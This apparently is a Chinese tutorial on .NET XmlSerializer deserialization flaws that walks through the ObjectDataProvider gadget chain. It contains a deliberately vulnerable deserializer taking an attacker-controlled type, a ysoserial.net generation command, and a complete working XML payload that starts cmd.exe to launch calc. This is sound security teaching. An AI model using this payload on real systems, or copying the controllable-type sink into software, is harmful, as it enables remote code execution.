简介
.NET中序列化是将对象状态转换为可保持或传输的形式的过程。序列化的补集是反序列化,后者将流转换为对象。这两个过程一起保证能够存储和传输数据。
.NET 具有以下三种序列化技术:
1.二进制序列化保持类型保真,这对于多次调用应用程序时保持对象状态非常有用。例如,通过将对象序列化到剪贴板,可在不同的应用程序之间共享对象。 你可以将对象序列化到流、磁盘、内存和网络等。远程处理使用序列化,“按值”在计算机或应用程序域之间传递对象。
2.XML 和 SOAP 序列化只序列化公共属性和字段,并且不保持类型保真。当你希望提供或使用数据而不限制使用该数据的应用程序时,这一点非常有用。由于 XML 是开放式的标准,因此它对于通过 Web 共享数据来说是一个理想选择。SOAP 同样是开放式的标准,这使它也成为一个理想选择。
3.JSON 序列化只序列化公共属性,并且不保持类型保真。JSON 是开放式的标准,对于通过 Web 共享数据来说是一个理想选择。
01 XmlSerializer
在C#中,使用[Serializable]标记可序列化类,其中XML 序列化将对象的公共字段和属性以及方法的参数和返回值转换(序列化)为符合特定 XML 架构定义语言 (XSD) 文档的 XML 流。XML 序列化会生成强类型类,同时将公共属性和字段转换为序列格式(在此情况下为 XML),以便存储或传输。
由于 XML 是开放式的标准,因此可以根据需要由任何应用程序处理 XML 流,而与平台无关。例如,用 ASP.NET 创建的 XML Web services 使用 XmlSerializer 类来创建 XML 流,这些流在整个 Internet 中或在 Intranet 上的 XML Web services 应用程序之间传递数据。相反,反序列化采用这样一个 XML 流并重新构造对象。
关于xml序列化的其他介绍可以查看官网:https://docs.microsoft.com/zh-cn/dotnet/standard/serialization/xml-and-soap-serialization
XML 序列化中的中心类是 XmlSerializer 类,此类中最重要的方法是 Serialize 和 Deserialize 方法 。XmlSerializer 创建 C# 文件并将其编译为 .dll 文件,以执行此序列化。
以下是一个xml序列化和反序列化的实例:
using System;
using System.Data.Services.Internal;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Windows.Data;
using System.Windows.Markup;
using System.Xml.Serialization;
namespace XmlDeserialization
{
[Serializable]
public class Person
{
public Person()
{
Console.WriteLine("ctor");
}
public Person(int gender)
{
_gender = gender;
Console.WriteLine("ctor with parameter");
}
private static int TAG = 20;
private int _gender;
public string Name
{
set;
get;
}
public int Age { set;
get;
}
}
class Program
{
static void Main(string[] args)
{
var p = new Person(10)
{
Name = "xfh",
Age = 26
};
Xmlserialize(p);
Console.ReadKey();
}
public static void Xmlserialize(object p)
{
// xml序列化,目标类型必须具有无参构造函数,只会序列化public属性
var xmlFormatter = new XmlSerializer(typeof(Person));
using (var stream = new MemoryStream())
using (var fs = new FileStream(@"D:tmpstream.xml", FileMode.OpenOrCreate))
using (var sr = new StreamReader(stream))
using (var sw = new StreamWriter(fs))
{
// 序列化
xmlFormatter.Serialize(stream, p);
stream.Position = 0;
// 写入XML文件中
while (sr.EndOfStream == false)
{
var content = sr.ReadLine();
sw.WriteLine(content);
}
stream.Position = 0;
// 反序列化
var newP3 = (Person)xmlFormatter.Deserialize(stream);
Console.WriteLine(newP3.Name);
Console.WriteLine(newP3.Age);
}
}
}
}
输出结果:
ctor with parameter
<?xml version="1.0"?>
<Person xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Name>xfh</Name>
<Age>26</Age>
</Person>
ctor
xfh
26
可使用 XmlSerializer 类对以下各项进行序列化:
公共类的公共读/写属性和字段
执行 ICollection 或 IEnumerable 的类 (仅序列化集合,不序列化公共属性)
XmlElement 对象
XmlNode 对象
DataSet 对象
反序列化对象时,传输格式可以是创建流或者文件对象。反序列化对象过程分为两步:
1.使用要反序列化的对象的类型构造 XmlSerializer。
2.调用 Deserialize 方法以生成该对象的副本。在反序列化时,必须将返回的对象强制转换为原始对象的类型。
上文中与第一步相对应的代码为:
var xmlFormatter = new XmlSerializer(typeof(Person));
这也是反序列化漏洞需要注意的地方,new XmlSerializer(type) 构造方法里所传的参数来自 System.Type 类,通过这个类可以访问关于任意数据类型的信息,如果type可控,就很可能存在反序列化漏洞。指向任何给定类型的 Type 引用有以下三种方式:
XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));// typeof()
XmlSerializer xmlSerializer1 = new XmlSerializer(p.GetType()); // 对象的GetType()方法
XmlSerializer xmlSerializer2 = new XmlSerializer(Type.GetType("XmlDeserialization.Person")); //使用命名空间加类名
02 ObjectDataProvider攻击链
以下是一个完整的反序列化命令执行实例,执行后会弹出计算器:
public static void deserializeObjectWithXmlSer()
{
//读取xml文本
var fs = new FileStream(@"D:tmppoc.xml", FileMode.OpenOrCreate);
var sr = new StreamReader(fs);
string txt = "";
while (!sr.EndOfStream)
{
string str = sr.ReadLine();
txt += str;
}
sr.Close();
//加载xml
var xmldoc = new XmlDocument();
xmldoc.LoadXml(txt);
string typeName;
XmlTextReader reader;
foreach (XmlElement xmlItem in xmldoc.SelectNodes("root"))
{
typeName = xmlItem.GetAttribute("type");
//从xml中获取type节点
reader = new XmlTextReader(new StringReader(xmlItem.InnerXml));
XmlSerializer ser = new XmlSerializer(Type.GetType(typeName));
//创建XmlSerializer
ser.Deserialize(reader);
//执行反序列化
}
}
poc.xml来自ysoserial.net,对于xml反序列化最经典的就是ObjectDataProvider链,使用ysoserial.net生成payload:./ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c "calc" -o raw
<?xml version="1.0" ?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
整个POC主要分为三个部分:
1.ObjectDataProvider
可以通过以下代码简单理解其功能:
var objDat = new ObjectDataProvider();
objDat.ObjectInstance = new Process();
objDat.MethodParameters.Add("calc");
objDat.MethodName = "Start";
这段代码首先创建ObjectDataProvider实例,然后将ObjectInstance设置为Process对象,使用MethodParameters.Add添加参数,MethodName指定调用的方法。运行效果如下图:
在设置ObjectInstance,MethodParameters,MethodName时,ObjectDataProvider都会尝试执行目标函数,如果将objDat.MethodName = "Start";放到objDat.MethodParameters.Add("calc");前面,则会报错,报错原因是Process未设置参数。
有了ObjectDataProvider我们貌似可以尝试执行命令了,但是ObjectDataProvider不可直接序列化,我们需要做一层包装,这时候就用到了ExpandedWrapper类,它的作用就是扩展类的属性。
这证明了实现ExpandedWrapper()对象并添加方法参数即可触发命令执行。
但直接包装Process进行反序列化时依然会报错,因为XmlSerializer无法序列化Process。
我们可以自己写一个恶意类,来证明此方法确实可行。
在前面示例的Person类中,我们添加如下方法,此方法调用Process执行cmd.exe /c calc。
public void execcmd(string cmd)
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c "+cmd;
process.Start();
}
然后进行包装生成payload:
查看d:/tmp/test.xml,内容如下:
进行反序列化触发函数执行,成功执行命令:
我们需要把Person类换成系统类执行命令,查看poc.xml可以发现这里引入了XamlReader类并调用了Parse方法。
2.XamlReader
XamlWriter 和 XamlReader 两个类实现WPF对象的XAML序列化和反序列化,XamlReader的用处就是读取 XAML 输入并创建对象图。XamlReader.Parse方法读取指定文本字符串中的 XAML 输入,并返回与指定标记的根对应的对象。
前面介绍了通过ExpandedWrapper封装目标类和ObjectDataProvider类可以达到执行目标类方法,但因为Process无法被XmlSerializer序列化无法直接利用,此时XamlReader.Parse就起到了一个桥接的作用。
ExpandedWrapper可以被XmlSerializer序列化,同时XAML还可以通过XamlReader.Parse实现反序列化返回ExpandedWrapper对象,即前文serializeXmlSer()中的内容。前面已经证明,实现了ExpandedWrapper对象即可触发命令执行。
现在我们只需要将可被XamlReader.Parse反序列化的xaml语句传入MethodParameters.Add即可实现以下攻击链:
ExpandedWrapper<XamlReader, ObjectDataProvider> → XamlReader.Parse() → ExpandedWrapper<Process, ObjectDataProvider> → Process.Start() → cmd.exe /c calc
这里就到了第三个技术点,引入ResourceDictionary。
3.ResourceDictionary
ResourceDictionary又称资源字典,使用xaml语法,官网有详细的介绍
https://docs.microsoft.com/zh-cn/previous-versions/windows/silverlight/dotnet-windows-silverlight/cc903952(v=vs.95)?redirectedfrom=MSDN
查看poc.xml中已经构造好的ResourceDictionary,使用XamlReader.Parse()解析,成功触发命令执行:
至此攻击链大体完成,如果你看完了相信已经可以自己生成payload了。
03 总结
1.如果new XmlSerializer(type)的type可控,即可能存在反序列化漏洞。
2.通过XamlReader.Parse()绕过Process无法序列化的问题。在其他攻击链中还会用到。